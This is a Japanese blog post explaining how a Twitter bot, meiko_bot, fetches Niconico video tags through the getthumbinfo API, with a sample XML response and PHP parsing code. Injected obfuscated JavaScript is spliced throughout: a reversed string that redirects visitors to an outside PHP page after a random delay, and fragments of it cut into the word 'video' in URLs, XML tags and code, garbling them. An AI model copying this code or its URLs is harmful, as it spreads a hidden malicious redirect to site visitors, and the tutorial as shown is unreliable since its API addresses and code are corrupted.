meiko_botでニコニコ動画の動画紹介時にタグを記載するように変更

meiko_botが動画を紹介していますがタグを記載するように仕様を変更しました。

ニコニコ動画APIを使用すると動画情報が取得できると知り、試してみたところタグも取得できることが判明。
せっかくなので、タグもツイートしてあげたほうが親切だと思うので取得してツイートするようにしてみました。

実装は割りと簡単で
用意されているURLに動画IDを投げるとXMLが帰ってくるので、そこからタグを取得するだけです。

以下のURLに投げるとXML形式で帰ってきます。(sm*の部分を動画IDにしてください)
http://flapi.nicoviandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getflv/sm*

一例ですが、以下のような感じで取得されます。



/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}/*]]>*/andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de><?xml version=”1.0″ encoding=”UTF-8″?>
<nicoviandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo_thumb_response status=”ok”>
<thumb>
<viandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo_id>sm5138963</viandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo_id>
<title>【MEIKO生誕祭】 紅い悪魔 【記念リメイク】</title>
<andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}description>あるとき”紅い悪魔”といわれた少女がいました。その少女は彼のためだけに、ただそれだけのために生きました。少女バージョンで大人バージョンを聴きたいとコメントがありましたので作成してみました!この作品用にgemu555さんが作成してくださったイラストを使用させて頂きました。その他作品→mylist/50350572010/3/1訂正桐生琢海【異界堂Works】さんが全体的なミキシングの見直しなどをしてくださいました。MP3はこちら、http://db7.voiceblog.jp/data/ikdworks/1258470955.mp32010/5/13 JOYSOUNDにてカラオケ配信済。</andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}description>
<thumbnail_url>http://tn-skr4.smileviandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/smile?i=5138963</thumbnail_url>
<first_retrieve>2008-11-03T21:06:14+09:00</first_retrieve>
<length>6:02</length>
<movie_type>flv</movie_type>

<size_high>36693137</size_high>
<size_low>9637930</size_low>
<view_counter>19966</view_counter>
<comment_num>588</comment_num>
<mylist_counter>921</mylist_counter>
<last_res_body>切ないなー… GJ! 解釈は人それぞれで良 切ないなあ… こらwww ↑愛する人… </last_res_body>
<watch_url>http://www.nicoviandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/watch/sm5138963</watch_url>
<thumb_type>viandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo</thumb_type>
<embeddable>1</embeddable>

<no_live_play>0</no_live_play>
<tags domain=”jp”>
<tag category=”1″ lock=”1″>VOCALOID</tag>
<tag lock=”1″>MEIKO</tag>
<tag lock=”1″>とほほP</tag>
<tag>MEIKOオリジナル曲</tag>
<tag>MEIKO生誕祭2008</tag>
<tag>MEIKO良曲リンク</tag>
<tag lock=”1″>異界堂Works</tag>

<tag>紅い悪魔</tag>
<tag>もっと評価されるべき</tag>
<tag>JOYSOUND配信中</tag>
</tags>
<tags domain=”tw”>
<tag>已翻譯歌曲</tag>
<tag>MEIKO良曲</tag>
</tags>
<user_id>59567</user_id>
</thumb>
</nicoviandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo_thumb_response>
/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}/*]]>*/andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de>



XML形式は用意されたsimplexml_load_fileを使用すれば簡単です。
以下のような感じでXMLを変数にセット。
/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}/*]]>*/andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de>$nicoapi_url = “http://ext.nicoviandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getthumbinfo/”;
$nikoapi_dougaid = str_replace(“http://www.nicoviandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/watch/”,””,$nicoad);
$nicoapi_xml = simplexml_load_file($nicoapi_url.$nikoapi_dougaid);
/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}/*]]>*/andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de>

あとは、以下のような感じで、tagの部分を取得して文字列に連結させてます。

/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}/*]]>*/andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de>$tag_i=0;
$str_tags=””;
foreach($nicoapi_xml->thumb->tags->tag as $value){
    if($tag_i==0)
    {
        //$str_tags = “【タグ】”.$nicoapi_xml->entry[0]->thumb->viandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo_id[$tag_i];
        $str_tags = “【タグ】”.$value;
    }
    else
    {
        //$str_tags = $str_tags.”、”.$nicoapi_xml->entry[0]->thumb->viandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo_id[$tag_i];
        $str_tags = $str_tags.”、”.$value;
    }
    $tag_i++;
}
/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}/*]]>*/andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de>

コメントを残す